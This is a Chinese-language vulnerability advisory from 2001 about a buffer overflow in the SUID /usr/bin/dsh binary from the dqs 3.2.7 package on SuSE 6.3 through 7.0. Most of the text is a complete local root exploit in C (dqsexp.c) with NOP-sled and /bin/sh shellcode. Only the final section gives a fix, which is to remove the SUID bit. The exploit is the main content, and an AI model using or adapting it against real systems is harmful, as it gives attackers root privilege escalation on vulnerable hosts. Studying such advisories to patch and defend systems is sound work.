dqs 3.2.7 存在本地ROOT权利可获得

发布时间：2001-05-21
更新时间：2001-05-21
严重程度：高
威胁程度：本地管理员权限
错误类型：设计错误
利用方式：服务器模式

受影响系统

dqs 3.2.7 -
Suse 6.3,6.4,7.0

详细描述
/usr/bin/dsh 存在缓冲溢出，在Suse 6.3,6.4,7.0非默认安装，如果
在第一个参数中提供一超长字符串，可SIGSEGV信号发生。

测试代码
/* - dqsexp.c - */
/********************************************************************/
/* /usr/bin/dsh(dqs 3.2.7 package) local root
exploit. */
/* SuSE 6.3, 6.4, and 7.0 are
vunerable. */
/* dex@raza-mexicana.org <>
http://www.raza-mexicana.org */
/* Saludos: dr_fdisk^, yield, vlad, deadsector,
trovalz, fatal, */
/* megaflop y a todo raza. que weba escribirlos
todos XD. */
/* En especial saludos al espa~olete(NOP) :P, ya
sabes porque. */
/*
*/
/* - dex@raza-mexicana.org <>
http://www.raza-mexicana.org - */
/********************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFSIZE 2772
#define OFFSET 0
#define ALIGN 0

unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}

static char code[]= /* stolen
from mount.c :P */

  "\x29\xc0" /* subl
%eax, %eax */
  "\xb0\x46" /* movb
$70, %al */
  "\x29\xdb" /* subl
%ebx, %ebx */
  "\xb3\x0c" /* movb
$12, %bl */
  "\x80\xeb\x0c" /* subb
$12, %bl */
  "\x89\xd9" /* movl
%ebx, %ecx */
  "\xcd\x80" /* int
$0x80 */
  "\xeb\x18" /* jmp
callz */
  "\x5e" /* popl
%esi */
  "\x29\xc0" /* subl
%eax, %eax */
  "\x88\x46\x07" /* movb
%al, 0x07(%esi) */
  "\x89\x46\x0c" /* movl
%eax, 0x0c(%esi) */
  "\x89\x76\x08" /* movl
%esi, 0x08(%esi) */
  "\xb0\x0b" /* movb
$0x0b, %al */
  "\x87\xf3" /* xchgl
%esi, %ebx */
  "\x8d\x4b\x08" /* leal
0x08(%ebx), %ecx */
  "\x8d\x53\x0c" /* leal
0x0c(%ebx), %edx */
  "\xcd\x80" /* int
$0x80 */
  "\xe8\xe3\xff\xff\xff" /* call
start */
  "\x2f\x62\x69\x6e\x2f\x73\x68";

void main(int argc, char **argv) {

int i;
unsigned long addr;

char *buffer;

int offset=OFFSET;
int buffsize=BUFFSIZE;
int align=ALIGN;

if (argc > 1 ) offset = atoi(argv[1]);
if (argc > 2 ) align = atoi(argv[2]);
if (argc > 3 ) buffsize = atoi(argv[3]);

buffer = (char *)malloc(buffsize + 8);

addr = get_sp() - offset;

for(i = 0; i < buffsize; i += 4) {
   *(long *)&buffer[i] = 0x90909090;
}

*(long *)&buffer[buffsize - 8] = addr;
*(long *)&buffer[buffsize - 4] = addr;

memcpy(buffer + buffsize - 8 - strlen(code) -
align, code, strlen(code));


printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
printf("[*] /usr/bin/dsh(dqs 3.2.7 package) local
root exploit.\n");
printf("[*] - dex@raza-mexicana.org <>
http://www.raza-mexicana.org -
\n");

printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");

printf("[*] Address=0x%x, Align=%d, Offset=%d\n",
addr, align, offset);

printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
printf("[*] Starting....\n");

execl("/usr/bin/dsh", "dsh", buffer,
"/etc/motd", NULL);
}

----EOF----

解决方案
去掉SUID权限
|root@netdex /root|# ls -la /usr/bin/dsh
-rwsr-xr-x 1 root root 502748 May 18
00:36 /usr/bin/dsh
|root@netdex /root|# chmod -s /usr/bin/dsh
|root@netdex /root|# ls -la /usr/bin/dsh
-rwxr-xr-x 1 root root 502748 May 18
00:36 /usr/bin/dsh
|root@netdex /root|#

相关信息
Mail: dex@raza-mexicana.org
Page: http://www.raza-mexicana.org

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dqs 3.2.7 存在本地ROOT权利可获得